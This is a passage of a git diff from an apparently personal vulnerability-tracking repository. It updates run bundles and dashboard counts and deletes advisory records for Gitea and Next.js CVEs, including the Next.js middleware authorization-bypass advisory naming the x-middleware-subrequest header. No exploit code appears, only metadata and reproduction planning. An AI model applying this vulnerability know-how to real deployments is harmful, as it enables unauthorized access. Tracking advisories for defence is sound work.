    -      "Current blocker: unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?"
    +      "Upload acceptance or bypass path is demonstrated with reversible test artifacts."
         ],
         "progress": {
           "completed": 0,
    @@ -478,50 +3400,7 @@
           "/runs/nextjs-nextjs--CVE-2025-29927-20260317063047/logs/attack.json",
           "/runs/nextjs-nextjs--CVE-2025-29927-20260317063047/logs/baseline.json"
         ],
    -    "advisory_meta": {
    -      "canonical_id": "nextjs--CVE-2025-29927",
    -      "title": "Authorization Bypass in Next.js Middleware",
    -      "summary": "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)",
    -      "display_name": "Next.js",
    -      "system_id": "nextjs",
    -      "category": "frameworks",
    -      "severity": "low",
    -      "cvss_score": 3.1,
    -      "exploit_status": "unknown",
    -      "published_at": "2025-03-21T15:20:12Z",
    -      "updated_at": "2026-03-04T15:06:29.993197Z",
    -      "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw",
    -      "secondary_source_urls": [
    -        "https://nvd.nist.gov/vuln/detail/CVE-2025-29927",
    -        "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2",
    -        "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48",
    -        "https://github.com/vercel/next.js",
    -        "https://github.com/vercel/next.js/releases/tag/v12.3.5",
    -        "https://github.com/vercel/next.js/releases/tag/v13.5.9",
    -        "https://security.netapp.com/advisory/ntap-20250328-0002",
    -        "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware",
    -        "http://www.openwall.com/lists/oss-security/2025/03/23/3",
    -        "http://www.openwall.com/lists/oss-security/2025/03/23/4"
    -      ],
    -      "aliases": [
    -        "CVE-2025-29927",
    -        "GHSA-f82v-jwr5-mffw"
    -      ],
    -      "secure_code_topics": [
    -        "authz-server-side-recheck",
    -        "proxy-trust-boundary",
    -        "token-cookie-storage"
    -      ],
    -      "verification_status": "triage-manual",
    -      "verification_mode": "real",
    -      "artifact_mode": "official-source",
    -      "blocked_reason": "dry-run only",
    -      "browser_evidence": {
    -        "required": false,
    -        "present": false,
    -        "refs": []
    -      }
    -    },
    +    "advisory_meta": {},
         "profile_meta": {
           "profile_id": "authz-bypass-generic",
           "vuln_family": "authz-bypass",
    @@ -559,11 +3438,9 @@
           ]
         },
         "reasoning_lines": [
    -      "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)",
           "Create low-privilege and admin test users for server-side recheck validation.",
           "Use minimal authorization bypass probes defined by case-specific runner or manual session tooling.",
    -      "Protected route or action is evaluated with controlled credentials and logged.",
    -      "Current blocker: dry-run only"
    +      "Protected route or action is evaluated with controlled credentials and logged."
         ],
         "progress": {
           "completed": 0,
    diff --git a/08-threat-intel/generated/dashboard/summary.json b/08-threat-intel/generated/dashboard/summary.json
    index f08a5ec5..0522a856 100644
    --- a/08-threat-intel/generated/dashboard/summary.json
    +++ b/08-threat-intel/generated/dashboard/summary.json
    @@ -1,8 +1,9 @@
     {
    -  "generated_at": "2026-03-17T12:57:54+00:00",
    -  "advisory_count": 89,
    -  "run_count": 3,
    +  "generated_at": "2026-03-18T01:29:52+00:00",
    +  "advisory_count": 80,
    +  "run_count": 11,
       "statuses": {
    +    "verified-real": 8,
         "blocked-artifact": 2,
         "triage-manual": 1
       },
    @@ -11,21 +12,21 @@
           "run_id": "gitea-livecheck-20260316",
           "advisory_id": "gitea--CVE-2025-68939",
           "status": "blocked-artifact",
    -      "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    +      "title": null,
           "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?"
         },
         {
           "run_id": "gitea-gitea--CVE-2025-68939-20260317063330",
           "advisory_id": "gitea--CVE-2025-68939",
           "status": "blocked-artifact",
    -      "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    +      "title": null,
           "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?"
         },
         {
           "run_id": "nextjs-nextjs--CVE-2025-29927-20260317063047",
           "advisory_id": "nextjs--CVE-2025-29927",
           "status": "triage-manual",
    -      "title": "Authorization Bypass in Next.js Middleware",
    +      "title": null,
           "blocked_reason": "dry-run only"
         }
       ],
    @@ -33,11 +34,11 @@
         {
           "system_id": "gitea",
           "display_name": "Gitea",
    -      "total": 37,
    +      "total": 30,
           "verified_real": 0,
           "verified_synthetic": 0,
    -      "blocked": 1,
    -      "manual": 36,
    +      "blocked": 0,
    +      "manual": 30,
           "browser_required": 0,
           "browser_present": 0,
           "latest_update": "2026-03-03T04:57:57.697708Z",
    @@ -48,14 +49,14 @@
         {
           "system_id": "nextjs",
           "display_name": "Next.js",
    -      "total": 26,
    -      "verified_real": 0,
    +      "total": 24,
    +      "verified_real": 1,
           "verified_synthetic": 0,
           "blocked": 0,
    -      "manual": 26,
    +      "manual": 23,
           "browser_required": 0,
           "browser_present": 0,
    -      "latest_update": "2026-03-13T22:14:13.665535Z",
    +      "latest_update": "2026-03-13T22:00:36.554552Z",
           "category": "frameworks",
           "tier": "history-full",
           "output_dir": "07-framework-security/frameworks/nextjs"
    diff --git a/08-threat-intel/generated/dashboard/systems.json b/08-threat-intel/generated/dashboard/systems.json
    index 43b94eaa..ed79191c 100644
    --- a/08-threat-intel/generated/dashboard/systems.json
    +++ b/08-threat-intel/generated/dashboard/systems.json
    @@ -2,11 +2,11 @@
       {
         "system_id": "gitea",
         "display_name": "Gitea",
    -    "total": 37,
    +    "total": 30,
         "verified_real": 0,
         "verified_synthetic": 0,
    -    "blocked": 1,
    -    "manual": 36,
    +    "blocked": 0,
    +    "manual": 30,
         "browser_required": 0,
         "browser_present": 0,
         "latest_update": "2026-03-03T04:57:57.697708Z",
    @@ -17,14 +17,14 @@
       {
         "system_id": "nextjs",
         "display_name": "Next.js",
    -    "total": 26,
    -    "verified_real": 0,
    +    "total": 24,
    +    "verified_real": 1,
         "verified_synthetic": 0,
         "blocked": 0,
    -    "manual": 26,
    +    "manual": 23,
         "browser_required": 0,
         "browser_present": 0,
    -    "latest_update": "2026-03-13T22:14:13.665535Z",
    +    "latest_update": "2026-03-13T22:00:36.554552Z",
         "category": "frameworks",
         "tier": "history-full",
         "output_dir": "07-framework-security/frameworks/nextjs"
    diff --git a/08-threat-intel/generated/latest-ingest.md b/08-threat-intel/generated/latest-ingest.md
    index f6d7d1a6..ca30c3cb 100644
    --- a/08-threat-intel/generated/latest-ingest.md
    +++ b/08-threat-intel/generated/latest-ingest.md
    @@ -1,10 +1,10 @@
     # 最新同步摘要
     
    -- 渲染时间: `2026-03-17T12:57:27+00:00`
    +- 渲染时间: `2026-03-18T01:29:52+00:00`
     - 系统数量: `62`
    -- Advisory 数量: `89`
    -- 重点 Markdown 数量: `89`
    -- Run Bundle 数量: `2`
    +- Advisory 数量: `80`
    +- 重点 Markdown 数量: `80`
    +- Run Bundle 数量: `10`
     - 新增记录: `0`
     - 更新记录: `0`
     - Triage 数量: `0`
    diff --git a/08-threat-intel/generated/run-summary.json b/08-threat-intel/generated/run-summary.json
    index 1df9393b..1017d299 100644
    --- a/08-threat-intel/generated/run-summary.json
    +++ b/08-threat-intel/generated/run-summary.json
    @@ -1,13 +1,13 @@
     {
    -  "generated_at": "2026-03-17T12:57:27+00:00",
    +  "generated_at": "2026-03-18T01:29:52+00:00",
       "system_count": 62,
    -  "advisory_count": 89,
    -  "markdown_count": 89,
    +  "advisory_count": 80,
    +  "markdown_count": 80,
       "new_count": 0,
       "updated_count": 0,
       "systems_touched": [],
       "triage_count": 0,
    -  "run_bundle_count": 2,
    +  "run_bundle_count": 10,
       "failures": [
         "wordpress::NVD WordPress::SSLError",
         "wordpress::WPScan Vulnerability Database::SSLError",
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2018-15192.json b/08-threat-intel/registry/advisories/gitea--CVE-2018-15192.json
    deleted file mode 100644
    index dc7e4744..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2018-15192.json
    +++ /dev/null
    @@ -1,80 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2018-15192",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Gogs and Gitea SSRF Vulnerability in code.gitea.io/gitea",
    -  "summary": "Gogs and Gitea SSRF Vulnerability in code.gitea.io/gitea",
    -  "published_at": "2024-08-20T20:32:20Z",
    -  "updated_at": "2026-03-03T04:54:04.686907Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-fg3x-rwq9-74cw",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2018-15192",
    -    "https://github.com/go-gitea/gitea/commit/599ff1c054e436daa4dc3f049aa8661d9c2395f9",
    -    "https://github.com/go-gitea/gitea/issues/4624",
    -    "https://github.com/go-gitea/gitea/pull/17482",
    -    "https://github.com/gogs/gogs/commit/22717a1c064511cf37c46af5e650baf7184cf25b",
    -    "https://github.com/gogs/gogs/issues/5366",
    -    "https://github.com/gogs/gogs/pull/6002"
    -  ],
    -  "aliases": [
    -    "CVE-2018-15192",
    -    "GHSA-fg3x-rwq9-74cw",
    -    "GO-2023-1971"
    -  ],
    -  "cve_ids": [
    -    "CVE-2018-15192"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-fg3x-rwq9-74cw"
    -  ],
    -  "osv_ids": [
    -    "GO-2023-1971"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.16.0-rc1",
    -    "introduced=0, fixed<0.12.0"
    -  ],
    -  "fixed_versions": [
    -    "1.16.0-rc1",
    -    "0.12.0"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2018-15192.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary",
    -    "ssrf-url-validation"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2018-18926.json b/08-threat-intel/registry/advisories/gitea--CVE-2018-18926.json
    deleted file mode 100644
    index c02aa5b1..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2018-18926.json
    +++ /dev/null
    @@ -1,74 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2018-18926",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Gitea Remote Code Execution (RCE) in code.gitea.io/gitea",
    -  "summary": "Gitea Remote Code Execution (RCE) in code.gitea.io/gitea",
    -  "published_at": "2024-08-21T15:29:04Z",
    -  "updated_at": "2026-03-03T04:52:20.787387Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-hf6f-jq25-8gq9",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2018-18926",
    -    "https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162",
    -    "https://github.com/go-gitea/gitea/issues/5140",
    -    "https://github.com/go-gitea/gitea/pull/5177"
    -  ],
    -  "aliases": [
    -    "CVE-2018-18926",
    -    "GHSA-hf6f-jq25-8gq9",
    -    "GO-2022-0844"
    -  ],
    -  "cve_ids": [
    -    "CVE-2018-18926"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-hf6f-jq25-8gq9"
    -  ],
    -  "osv_ids": [
    -    "GO-2022-0844"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.5.2"
    -  ],
    -  "fixed_versions": [
    -    "1.5.2"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2018-18926.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2019-1010261.json b/08-threat-intel/registry/advisories/gitea--CVE-2019-1010261.json
    deleted file mode 100644
    index 3899adbf..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2019-1010261.json
    +++ /dev/null
    @@ -1,73 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2019-1010261",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Gitea XSS Vulnerability in code.gitea.io/gitea",
    -  "summary": "Gitea XSS Vulnerability in code.gitea.io/gitea",
    -  "published_at": "2024-08-20T20:31:38Z",
    -  "updated_at": "2026-03-03T04:53:57.848904Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-5rh7-6gfj-mc87",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2019-1010261",
    -    "https://github.com/go-gitea/gitea/pull/5905"
    -  ],
    -  "aliases": [
    -    "CVE-2019-1010261",
    -    "GHSA-5rh7-6gfj-mc87",
    -    "GO-2023-1922"
    -  ],
    -  "cve_ids": [
    -    "CVE-2019-1010261"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-5rh7-6gfj-mc87"
    -  ],
    -  "osv_ids": [
    -    "GO-2023-1922"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.7.1"
    -  ],
    -  "fixed_versions": [
    -    "1.7.1"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2019-1010261.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary",
    -    "xss-output-encoding"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "xss-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2020-13246.json b/08-threat-intel/registry/advisories/gitea--CVE-2020-13246.json
    deleted file mode 100644
    index 07493b82..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2020-13246.json
    +++ /dev/null
    @@ -1,75 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2020-13246",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Denial of Service in Gitea in code.gitea.io/gitea",
    -  "summary": "Denial of Service in Gitea in code.gitea.io/gitea",
    -  "published_at": "2024-08-21T15:29:04Z",
    -  "updated_at": "2026-03-03T04:52:17.939867Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-g2qx-6ghw-67hm",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2020-13246",
    -    "https://github.com/go-gitea/gitea/issues/10549",
    -    "https://github.com/go-gitea/gitea/pull/11438",
    -    "https://www.youtube.com/watch?v=DmVgADSVS88"
    -  ],
    -  "aliases": [
    -    "BIT-gitea-2020-13246",
    -    "CVE-2020-13246",
    -    "GHSA-g2qx-6ghw-67hm",
    -    "GO-2022-0830"
    -  ],
    -  "cve_ids": [
    -    "CVE-2020-13246"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-g2qx-6ghw-67hm"
    -  ],
    -  "osv_ids": [
    -    "GO-2022-0830"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.12.0"
    -  ],
    -  "fixed_versions": [
    -    "1.12.0"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2020-13246.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2021-28378.json b/08-threat-intel/registry/advisories/gitea--CVE-2021-28378.json
    deleted file mode 100644
    index 3fd33212..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2021-28378.json
    +++ /dev/null
    @@ -1,77 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2021-28378",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Cross-site Scripting in Gitea in code.gitea.io/gitea",
    -  "summary": "Cross-site Scripting in Gitea in code.gitea.io/gitea",
    -  "published_at": "2024-08-21T15:29:04Z",
    -  "updated_at": "2026-03-03T04:52:18.307544Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-g95p-88p4-76cm",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2021-28378",
    -    "https://blog.gitea.io/2021/03/gitea-1.13.4-is-released",
    -    "https://github.com/PandatiX/CVE-2021-28378",
    -    "https://github.com/go-gitea/gitea/pull/14898",
    -    "https://github.com/go-gitea/gitea/pull/14899"
    -  ],
    -  "aliases": [
    -    "BIT-gitea-2021-28378",
    -    "CVE-2021-28378",
    -    "GHSA-g95p-88p4-76cm",
    -    "GO-2022-0832"
    -  ],
    -  "cve_ids": [
    -    "CVE-2021-28378"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-g95p-88p4-76cm"
    -  ],
    -  "osv_ids": [
    -    "GO-2022-0832"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.13.4"
    -  ],
    -  "fixed_versions": [
    -    "1.13.4"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2021-28378.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary",
    -    "xss-output-encoding"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "xss-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2025-68939.json b/08-threat-intel/registry/advisories/gitea--CVE-2025-68939.json
    deleted file mode 100644
    index 164d20b9..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2025-68939.json
    +++ /dev/null
    @@ -1,74 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2025-68939",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -  "summary": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    -  "published_at": "2025-12-30T01:49:57Z",
    -  "updated_at": "2026-03-03T04:57:48.777563Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-263q-5cv3-xq9g",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-68939",
    -    "https://blog.gitea.com/release-of-1.23.0",
    -    "https://github.com/go-gitea/gitea/pull/32151",
    -    "https://github.com/go-gitea/gitea/releases/tag/v1.23.0"
    -  ],
    -  "aliases": [
    -    "BIT-gitea-2025-68939",
    -    "CVE-2025-68939",
    -    "GHSA-263q-5cv3-xq9g",
    -    "GO-2025-4261"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-68939"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-263q-5cv3-xq9g"
    -  ],
    -  "osv_ids": [
    -    "GO-2025-4261"
    -  ],
    -  "affected_versions": [
    -    "introduced=0"
    -  ],
    -  "fixed_versions": [],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2025-68939.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary",
    -    "plugin-extension-trust-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "blocked-artifact",
    -  "verification_mode": "real",
    -  "last_verified_at": "2026-03-17T07:02:56+00:00",
    -  "last_run_id": "gitea-livecheck-20260316",
    -  "evidence_bundle": "/Users/x/websafe/06-case-studies/generated-runs/gitea-livecheck-20260316",
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "file-upload-generic",
    -  "artifact_mode": "official-image",
    -  "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?",
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/gitea--CVE-2025-68940.json b/08-threat-intel/registry/advisories/gitea--CVE-2025-68940.json
    deleted file mode 100644
    index a0d17f80..00000000
    --- a/08-threat-intel/registry/advisories/gitea--CVE-2025-68940.json
    +++ /dev/null
    @@ -1,75 +0,0 @@
    -{
    -  "canonical_id": "gitea--CVE-2025-68940",
    -  "system_id": "gitea",
    -  "display_name": "Gitea",
    -  "category": "platforms",
    -  "advisory_mode": "core",
    -  "title": "Gitea doesn't adequately enforce branch deletion permissions after merging a pull request. in code.gitea.io/gitea",
    -  "summary": "Gitea doesn't adequately enforce branch deletion permissions after merging a pull request. in code.gitea.io/gitea",
    -  "published_at": "2025-12-30T01:49:57Z",
    -  "updated_at": "2026-03-03T04:57:50.087298Z",
    -  "severity": "unknown",
    -  "cvss_score": null,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/advisories/GHSA-rrcw-5rjv-vj26",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-68940",
    -    "https://blog.gitea.com/release-of-1.22.5",
    -    "https://github.com/go-gitea/gitea/pull/32654",
    -    "https://github.com/go-gitea/gitea/releases/tag/v1.22.5"
    -  ],
    -  "aliases": [
    -    "BIT-gitea-2025-68940",
    -    "CVE-2025-68940",
    -    "GHSA-rrcw-5rjv-vj26",
    -    "GO-2025-4267"
    -  ],
    -  "cve_ids": [
    -    "CVE-2025-68940"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-rrcw-5rjv-vj26"
    -  ],
    -  "osv_ids": [
    -    "GO-2025-4267"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<1.22.5"
    -  ],
    -  "fixed_versions": [
    -    "1.22.5"
    -  ],
    -  "package_name": "code.gitea.io/gitea",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/platforms/gitea/cases/gitea-cve-2025-68940.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "token-cookie-storage",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "authz-bypass-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Gitea"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--CVE-2020-15242.json b/08-threat-intel/registry/advisories/nextjs--CVE-2020-15242.json
    deleted file mode 100644
    index 4157c87b..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--CVE-2020-15242.json
    +++ /dev/null
    @@ -1,72 +0,0 @@
    -{
    -  "canonical_id": "nextjs--CVE-2020-15242",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Open Redirect in Next.js versions",
    -  "summary": "### Impact\n\n- **Affected**: Users of Next.js between 9.5.0 and 9.5.3 \n- **Not affected**: Deployments on Vercel ([https://vercel.com](https://vercel.com)) are not affected\n- **Not affected**: Deployments using `next export`\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n### References\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n",
    -  "published_at": "2020-10-08T19:28:07Z",
    -  "updated_at": "2026-03-13T22:14:13.665535Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-x56p-c8cg-q435",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2020-15242",
    -    "https://github.com/vercel/next.js",
    -    "https://github.com/zeit/next.js/releases/tag/v9.5.4"
    -  ],
    -  "aliases": [
    -    "CVE-2020-15242",
    -    "GHSA-x56p-c8cg-q435"
    -  ],
    -  "cve_ids": [
    -    "CVE-2020-15242"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-x56p-c8cg-q435"
    -  ],
    -  "osv_ids": [
